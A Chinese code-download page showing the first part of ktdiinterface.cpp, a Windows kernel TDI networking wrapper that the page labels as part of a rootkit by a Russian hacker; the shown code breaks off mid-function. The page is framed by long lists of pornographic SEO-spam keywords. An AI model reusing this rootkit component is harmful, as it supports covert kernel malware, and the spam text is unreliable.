亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频

? 歡迎來到蟲蟲下載站! | ?? 資源下載 ?? 資源專輯 ?? 關于我們
? 蟲蟲下載站

?? ktdiinterface.cpp

?? 爾羅斯著名黑客寫的rootkit
?? CPP
?? 第 1 頁 / 共 2 頁
字號:
#include "KTdiInterface.h"
//#include "../KLocker/KLocker.h"

#define ALIGN_4(x) \
        (((x) & 0x00000003) ? (((x) & 0xfffffffc) + 4) : (x))



KTdiInterface::KTdiInterface()
               : m_bOpen(FALSE)
{             
  //m_dwTreatIrpsCount = 0;
  m_TreatIrpsCount = 0;

  m_nLocalPort = 0;
  m_dwLocalAddress = 0;
  
  m_hTdiTransport = NULL;
  m_pTdiTransportObject = NULL;
  m_hTdiConnection = NULL;
  m_pTdiConnectionObject = NULL;
}

KTdiInterface::~KTdiInterface()
{
  Close();
}

BOOLEAN KTdiInterface::Open(IN PWSTR pwszProtocol)
{
  //KLocker locker(&m_KSynchroObject);

  if (Close() != TRUE)
    return FALSE;

  //m_dwTreatIrpsCount = 0;
  m_TreatIrpsCount = 0;

  if (pwszProtocol != NULL)
  {
    m_pwszProtocol = new WCHAR[wcslen(pwszProtocol)+sizeof(WCHAR)];
    if (m_pwszProtocol != NULL)
    {
      wcscpy(m_pwszProtocol, pwszProtocol);
      m_bOpen = TRUE;
    }
  }
  
  return m_bOpen;
}

BOOLEAN KTdiInterface::Close()
{
  //KLocker locker(&m_KSynchroObject);

  if (m_bOpen == TRUE)
  {
    //if (m_dwTreatIrpsCount == 0)
    if (m_TreatIrpsCount.CompareExchange(0, 0) == TRUE)
    {
      m_bOpen = FALSE;

      TdiCloseConnection();
      TdiCloseTransport();

      m_nLocalPort = 0;
      m_dwLocalAddress = 0;

      delete[] m_pwszProtocol;
      m_pwszProtocol = NULL;
    
      //m_dwTreatIrpsCount = 0;
      m_TreatIrpsCount = 0;
    }
  }

  return !m_bOpen;
}

BOOLEAN KTdiInterface::TdiOpenTransport(IN USHORT wPort)
{
  PTA_IP_ADDRESS            pAddress;                               // transport address
  ULONG                     dEaLength;                              // buffer size
  PFILE_FULL_EA_INFORMATION pEaInfo;                                // pointer to ea
  NTSTATUS                  dStatus;                                // current status
  BOOLEAN                   bRes = FALSE;

  if (m_bOpen == TRUE)
  {
    TdiCloseTransport();

    m_nLocalPort = wPort;

    dEaLength = sizeof ( FILE_FULL_EA_INFORMATION ) +                 // account for ea
                sizeof ( TdiTransportAddress) +                       // account for transport
                sizeof ( TA_IP_ADDRESS ) + 1;                         // account for ip address
    dEaLength = ALIGN_4(dEaLength);
    pEaInfo = (PFILE_FULL_EA_INFORMATION) new char[dEaLength];
    if (pEaInfo)                                                      // validate pointer
    {
      RtlZeroMemory(pEaInfo, dEaLength);                              // clear eabuffer
      pEaInfo->EaNameLength = TDI_TRANSPORT_ADDRESS_LENGTH;           // size
      RtlCopyMemory(pEaInfo->EaName,                                  // copy transport name
                    TdiTransportAddress, 
                    sizeof(TdiTransportAddress));
      pEaInfo->EaValueLength = sizeof(TA_IP_ADDRESS);                 // size of data
      pAddress = (PTA_IP_ADDRESS)(pEaInfo->EaName + sizeof(TdiTransportAddress));
      pAddress->TAAddressCount = 1;                                   // number of addresses
      pAddress->Address[0].AddressLength = TDI_ADDRESS_LENGTH_IP;//sizeof(TDI_ADDRESS_IP);
      pAddress->Address[0].AddressType = TDI_ADDRESS_TYPE_IP;
      pAddress->Address[0].Address[0].sin_port = W_LITTLE_TO_BIG_ENDIAN(wPort); // local port
      pAddress->Address[0].Address[0].in_addr = 0L;//D_LITTLE_TO_BIG_ENDIAN(0x7f000001);//0L;                   // local address
      dStatus = STATUS_SUCCESS;
      dStatus = TdiOpen (                                             // open tdi device
                         m_pwszProtocol,                              // tdi device name
                         dEaLength,                                   // length of ea info
                         pEaInfo,                                     // pointer to ea info
                         &m_hTdiTransport,                            // return transport handle
                         &m_pTdiTransportObject);                     // return transport object
      if (NT_SUCCESS(dStatus))
        bRes = TRUE;
      
      delete[] pEaInfo;                                               // free buffer
    }
  }

  return bRes;
}

BOOLEAN KTdiInterface::TdiCloseTransport()
{
  TdiClose(m_hTdiTransport, m_pTdiTransportObject);
  m_hTdiTransport = NULL;
  m_pTdiTransportObject = NULL;

  return TRUE;
}

BOOLEAN KTdiInterface::TdiOpenConnection()
{
  PTA_IP_ADDRESS            pAddress;                               // transport address
  ULONG                     dEaLength;                              // buffer size
  PFILE_FULL_EA_INFORMATION pEaInfo;                                // pointer to ea
  NTSTATUS                  dStatus;                                // current status
  ULONG*                    _this;
  BOOLEAN                   bRes = FALSE;

  if (m_bOpen == TRUE)
  {
    TdiCloseConnection();

    dEaLength = sizeof (FILE_FULL_EA_INFORMATION) +                   // account for ea
                sizeof (TdiConnectionContext) +                       // account for transport
                sizeof (CONNECTION_CONTEXT) + 1;                      // account for this
    dEaLength = ALIGN_4(dEaLength);
    pEaInfo = (PFILE_FULL_EA_INFORMATION) new char[dEaLength];
    if (pEaInfo)                                                      // validate pointer
    {
      RtlZeroMemory(pEaInfo, dEaLength);                              // clear eabuffer
      pEaInfo->EaNameLength = TDI_CONNECTION_CONTEXT_LENGTH;          // size
      RtlCopyMemory(pEaInfo->EaName,                                  // copy transport name
                    TdiConnectionContext, 
                    sizeof(TdiConnectionContext));
      pEaInfo->EaValueLength = sizeof(ULONG);                         // size of data
      _this = (ULONG*)(pEaInfo->EaName + sizeof(TdiConnectionContext));
      *_this  = (ULONG)this;                                          // number of addresses
    
      dStatus = STATUS_SUCCESS;
      dStatus = TdiOpen (                                             // open tdi device
                         m_pwszProtocol,                              // tdi device name
                         dEaLength,                                   // length of ea info
                         pEaInfo,                                     // pointer to ea info
                         &m_hTdiConnection,                           // return transport handle
                         &m_pTdiConnectionObject);                    // return transport object
      if (NT_SUCCESS(dStatus))
        bRes = TRUE;

      delete[] pEaInfo;                                               // free buffer
    }
  }

  return bRes;
}

BOOLEAN KTdiInterface::TdiCloseConnection()
{
  TdiClose(m_hTdiConnection, m_pTdiConnectionObject);
  m_hTdiConnection = NULL;
  m_pTdiConnectionObject = NULL;

  return TRUE;
}

NTSTATUS 
KTdiInterface::TdiOpen(
   IN PWSTR pProtocol,
   IN ULONG dEaLength,
   IN PFILE_FULL_EA_INFORMATION pEaInfo,
   OUT PHANDLE phHandle,
   OUT PFILE_OBJECT* ppObject)
{
  UNICODE_STRING    uName;                                          // local name
  OBJECT_ATTRIBUTES ObjectAttrib;                                   // local object attribute
  IO_STATUS_BLOCK   IoStatusBlock;                                  // local io status return
  NTSTATUS          dStatus;                                        // current status

  RtlInitUnicodeString(&uName, pProtocol);                          // get device name
  InitializeObjectAttributes( &ObjectAttrib,                        // return object attribute
                          &uName,                                   // resource name
                          OBJ_CASE_INSENSITIVE,                     // attributes
                          NULL,                                     // root directory
                          NULL );                                   // security descriptor
  dStatus = ZwCreateFile(
                          phHandle,                                 // return file handle
                          GENERIC_READ | GENERIC_WRITE,             // desired access
                          &ObjectAttrib,                            // local object attribute
                          &IoStatusBlock,                           // local io status
                          0L,                                       // initial allocation size
                          FILE_ATTRIBUTE_NORMAL,                    // file attributes
                          FILE_SHARE_READ | FILE_SHARE_WRITE,       // share access
                          FILE_OPEN/*_IF*/,                             // create disposition
                          FILE_NO_INTERMEDIATE_BUFFERING/*0L*/,                                       // create options
                          pEaInfo,                                  // eabuffer
                          dEaLength );                              // ealength
  if (NT_SUCCESS(dStatus))                                          // check for valid return
  {
    dStatus  = ObReferenceObjectByHandle(                           // reference file object
                            *phHandle,                              // handle to open file
                            0, //GENERIC_READ | GENERIC_WRITE,           // access mode
                            NULL,                                   // object type
                            KernelMode,                             // access mode
                            (PVOID*)ppObject,                       // pointer to object
                            NULL );                                 // handle information
    if (!NT_SUCCESS(dStatus))                                   
    {
      DbgPrint ("KTdiInterface::TdiOpen: ObReferenceObjectByHandle is ERROR - %08x!!!\n", dStatus);
      ZwClose(*phHandle);                                           // close handle
    }
  }
  else
  {
    DbgPrint ("KTdiInterface::TdiOpen: ZwCreateFile is ERROR - %08x!!!\n", dStatus);
  }
  return ( dStatus );
}

NTSTATUS 
KTdiInterface::TdiClose(
   IN HANDLE hHandle,
   IN PFILE_OBJECT pObject)
{
  if (pObject)                                                      // validate pointers
    ObDereferenceObject(pObject);                                   // release the object

  if (hHandle)
  {
    NTSTATUS NtStatus = ZwClose(hHandle);
    if (NT_SUCCESS(NtStatus) == FALSE)                                               // close handle
      DbgPrint ("KTdiInterface::TdiClose: ZwClose is ERROR - %08x!!!\n", NtStatus);
  }
  return (STATUS_SUCCESS);
}

void KTdiInterface::TdiCallThread(IN TDI_CALL_INFO* pTdiCallInfo)
{
  KTdiInterface* _this = pTdiCallInfo->m_pThis;

  pTdiCallInfo->m_NtStatus = _this->TdiCall(pTdiCallInfo->m_pIrp, pTdiCallInfo->m_pDeviceObject, pTdiCallInfo->m_pIoStatusBlock);
  
  KeSetEvent(&pTdiCallInfo->m_kEvent, 0, FALSE);
}

NTSTATUS 
KTdiInterface::TdiCallEx( 
   IN PIRP pIrp,
   IN PDEVICE_OBJECT pDeviceObject,
   IN OUT PIO_STATUS_BLOCK pIoStatusBlock)
{
  WORK_QUEUE_ITEM WorkItem;
  TDI_CALL_INFO   TdiCallInfo;

  TdiCallInfo.m_pThis = this;
  TdiCallInfo.m_NtStatus = 0;
  TdiCallInfo.m_pIrp = pIrp;
  TdiCallInfo.m_pDeviceObject = pDeviceObject;
  TdiCallInfo.m_pIoStatusBlock = pIoStatusBlock;

  KeInitializeEvent(&TdiCallInfo.m_kEvent, NotificationEvent, FALSE); 
  ExInitializeWorkItem(&WorkItem, (PWORKER_THREAD_ROUTINE)TdiCallThread, &TdiCallInfo);
  ExQueueWorkItem(&WorkItem, DelayedWorkQueue);
  KeWaitForSingleObject(&TdiCallInfo.m_kEvent, Executive, KernelMode, FALSE, NULL);

  return TdiCallInfo.m_NtStatus;
}

NTSTATUS
KTdiInterface::TdiCallCompletion(
    IN PDEVICE_OBJECT DeviceObject,
    IN PIRP Irp,
    IN PVOID Context
    )
{
  KTdiInterface* _this = (KTdiInterface*) Context;

  if (Irp->UserIosb != NULL)
    *Irp->UserIosb = Irp->IoStatus;

  if (Irp->MdlAddress != NULL)
  {
    MmUnlockPages(Irp->MdlAddress);
    IoFreeMdl(Irp->MdlAddress);
  }

  if (Irp->UserEvent != NULL)
    KeSetEvent(Irp->UserEvent, 0, FALSE);

  IoFreeIrp(Irp);
  
  if (_this != NULL)
    --(_this->m_TreatIrpsCount);
    //InterlockedDecrement(&(_this->m_dwTreatIrpsCount));

  return STATUS_MORE_PROCESSING_REQUIRED;
}


NTSTATUS 
KTdiInterface::TdiCall( 
   IN PIRP pIrp,
   IN PDEVICE_OBJECT pDeviceObject,
   IN OUT PIO_STATUS_BLOCK pIoStatusBlock,
   IN BOOLEAN bWait,
   IN PKEVENT pkEvent)
{
  KEVENT kEvent;                                                    // signaling event
  NTSTATUS dStatus = STATUS_INSUFFICIENT_RESOURCES;                 // local status

  //InterlockedIncrement(&m_dwTreatIrpsCount);
  //InterlockedIncrement(&m_dwTreatIrpsCount);
  ++m_TreatIrpsCount;

?? 快捷鍵說明

復制代碼 Ctrl + C
搜索代碼 Ctrl + F
全屏模式 F11
切換主題 Ctrl + Shift + D
顯示快捷鍵 ?
增大字號 Ctrl + =
減小字號 Ctrl + -
亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频
久久精品男人的天堂| 精品88久久久久88久久久| 成人综合在线视频| 国产美女在线精品| 成人小视频在线| 成人av电影免费观看| 风间由美一区二区三区在线观看 | 国产乱码精品1区2区3区| 麻豆视频观看网址久久| 国产综合色视频| 国产精品一区二区久久不卡| 国产不卡视频在线观看| 91在线精品一区二区| 欧美综合一区二区| 欧美精品第1页| 欧美r级在线观看| 国产女人18毛片水真多成人如厕| 国产精品国模大尺度视频| 一区二区三区四区在线免费观看 | 国产精品一区二区免费不卡 | 欧美一级免费观看| 欧美大片免费久久精品三p| www久久精品| 中文字幕一区三区| 日韩av电影免费观看高清完整版 | 丝袜亚洲另类欧美综合| 麻豆91免费看| av电影在线观看不卡| 欧美日韩综合在线免费观看| 亚洲精品一区二区三区在线观看| 国产精品美女www爽爽爽| 性感美女久久精品| 大陆成人av片| 欧美一区二区三区视频免费播放 | 国产精品白丝jk白祙喷水网站| 99久久精品国产毛片| 欧美一区二区三区电影| 自拍偷拍亚洲综合| 麻豆91小视频| 欧美亚洲综合另类| 久久婷婷久久一区二区三区| 一区二区三区日韩精品视频| 国产一区二区在线观看免费| 欧美性淫爽ww久久久久无| 日本一区二区三区在线观看| 午夜影视日本亚洲欧洲精品| 波多野结衣中文一区| 欧美mv和日韩mv国产网站| 亚洲午夜视频在线| 99精品热视频| 国产日韩精品一区二区三区| 五月婷婷综合激情| 色综合咪咪久久| 国产精品美女久久久久aⅴ国产馆 国产精品美女久久久久av爽李琼 国产精品美女久久久久高潮 | 性感美女极品91精品| 91老司机福利 在线| 国产目拍亚洲精品99久久精品| 免费不卡在线视频| 欧美日韩亚洲综合一区| 亚洲人成人一区二区在线观看 | 国产精品国产三级国产aⅴ入口| 日本 国产 欧美色综合| 制服丝袜日韩国产| 亚洲综合一二三区| 欧美亚一区二区| 一区二区不卡在线视频 午夜欧美不卡在| 国产成人在线免费观看| 久久精品在这里| 国产最新精品免费| 久久久久亚洲蜜桃| 韩国理伦片一区二区三区在线播放| 欧美久久婷婷综合色| 亚洲国产日韩综合久久精品| 欧洲国产伦久久久久久久| 亚洲综合网站在线观看| 欧美日韩一区二区三区视频 | 日韩一级大片在线| 日韩成人一级大片| 欧美成人午夜电影| 国产一区二区不卡在线| 久久蜜桃av一区二区天堂| 国产成人免费视频| 国产精品理伦片| 91猫先生在线| 亚洲bt欧美bt精品777| 9191精品国产综合久久久久久 | 狠狠色狠狠色综合日日91app| 欧美xxx久久| 国产福利一区二区| 国产精品乱码人人做人人爱| 99国产精品久久久久久久久久久 | 久久精品国产亚洲aⅴ| 精品区一区二区| 粉嫩av一区二区三区粉嫩| 亚洲欧美二区三区| 欧美一区二区三区精品| 国产精品99久久久久久久vr| 综合欧美亚洲日本| 制服.丝袜.亚洲.中文.综合| 精品午夜久久福利影院| 亚洲素人一区二区| 日韩丝袜美女视频| aaa欧美色吧激情视频| 亚洲成a人v欧美综合天堂| 精品国产sm最大网站| 不卡大黄网站免费看| 日韩高清不卡一区| 国产精品美日韩| 欧美一区二区三区免费观看视频| 国产成人av资源| 一区二区三区影院| 国产色一区二区| 在线播放/欧美激情| 成人在线视频一区二区| 日韩高清不卡一区二区三区| 久久精品亚洲一区二区三区浴池| 色综合久久综合| 久久99精品久久久久久动态图 | 91蝌蚪porny九色| 六月丁香综合在线视频| 亚洲精品国产第一综合99久久| 欧美一区二区视频在线观看2020| 成人18视频在线播放| 久久丁香综合五月国产三级网站| 亚洲日本成人在线观看| 欧美大片一区二区| 精品视频一区 二区 三区| 成人a区在线观看| 国产一区二区三区香蕉| 午夜成人在线视频| 亚洲人成在线播放网站岛国| 国产午夜亚洲精品理论片色戒| 69久久99精品久久久久婷婷| 色94色欧美sute亚洲线路一ni | 欧美日本一区二区三区| 成人激情综合网站| 国产福利一区二区三区视频在线| 日韩综合在线视频| 午夜精品久久久久久久久久久| 亚洲素人一区二区| 日韩久久一区二区| 国产精品美女久久福利网站| 国产免费成人在线视频| 欧美国产综合色视频| 精品国产自在久精品国产| 91精品国产综合久久久久久久 | 久久久亚洲高清| 精品乱人伦小说| 欧美成人三级电影在线| 精品精品国产高清a毛片牛牛| 欧美一区二区福利视频| 日韩午夜av一区| 精品福利视频一区二区三区| 日韩精品最新网址| 精品国产乱码久久久久久闺蜜| 日韩一区二区三区av| 日韩欧美国产精品| 久久久激情视频| 国产精品美女久久久久久久| 日韩美女精品在线| 亚洲精品成人悠悠色影视| 亚洲高清中文字幕| 免费观看日韩电影| 在线欧美一区二区| 欧美午夜视频网站| 日韩欧美一区在线观看| 久久天堂av综合合色蜜桃网| 久久久久久久久岛国免费| 中文字幕不卡在线| 亚洲一区在线播放| 久久国产综合精品| 成人a免费在线看| 欧美日韩aaaaaa| 久久嫩草精品久久久精品| 国产精品久久久久天堂| 亚洲国产精品一区二区www| 麻豆高清免费国产一区| 国产成人丝袜美腿| 91福利国产成人精品照片| 欧美一级欧美三级| 国产精品动漫网站| 奇米在线7777在线精品 | 欧美中文字幕不卡| 欧美成人vps| 亚洲男女毛片无遮挡| 蜜臀久久久99精品久久久久久| 国产不卡在线视频| 欧美美女视频在线观看| 久久久久国产一区二区三区四区 | 不卡的电视剧免费网站有什么| 欧洲激情一区二区| 久久久精品蜜桃| 五月激情丁香一区二区三区| 国产成人av影院| 欧美精品乱人伦久久久久久| 国产精品天干天干在线综合| 日韩高清在线不卡| 91免费视频观看| 中文字幕精品三区| 精品中文字幕一区二区|